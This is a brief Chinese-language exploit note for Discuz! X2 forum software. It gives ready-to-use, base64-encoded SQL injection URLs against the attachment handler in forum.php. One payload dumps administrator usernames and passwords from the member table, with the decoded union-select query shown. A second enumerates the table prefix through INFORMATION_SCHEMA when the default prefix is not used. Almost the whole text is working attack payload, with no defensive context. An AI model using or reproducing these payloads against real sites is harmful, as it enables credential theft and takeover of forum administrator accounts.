程序版本: Discuz! X2

DZ2.0直接暴管理账号密码（默认前缀的情况下）
/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2V
sZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4N0MzMjc0NzQ3QyxwYXNzd
29yZCkgZnJvbSBwcmVfY29tbW9uX21lbWJlciB3aGVyZSAgdXNlcm5hbWUgbGl
rZSAnYWRtaW58eHx5%3D
base64解码
1′ and 1=2 union all select 1,group_concat(username,0x7C3274747C,password)
from pre_common_member where  username like ‘admin|x|y

如果不是默认前缀
暴前缀EXP
/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2V
sZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMR
VMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1
FIGxpa2UgJyVfbWVtYmVyfHh8eQ%3D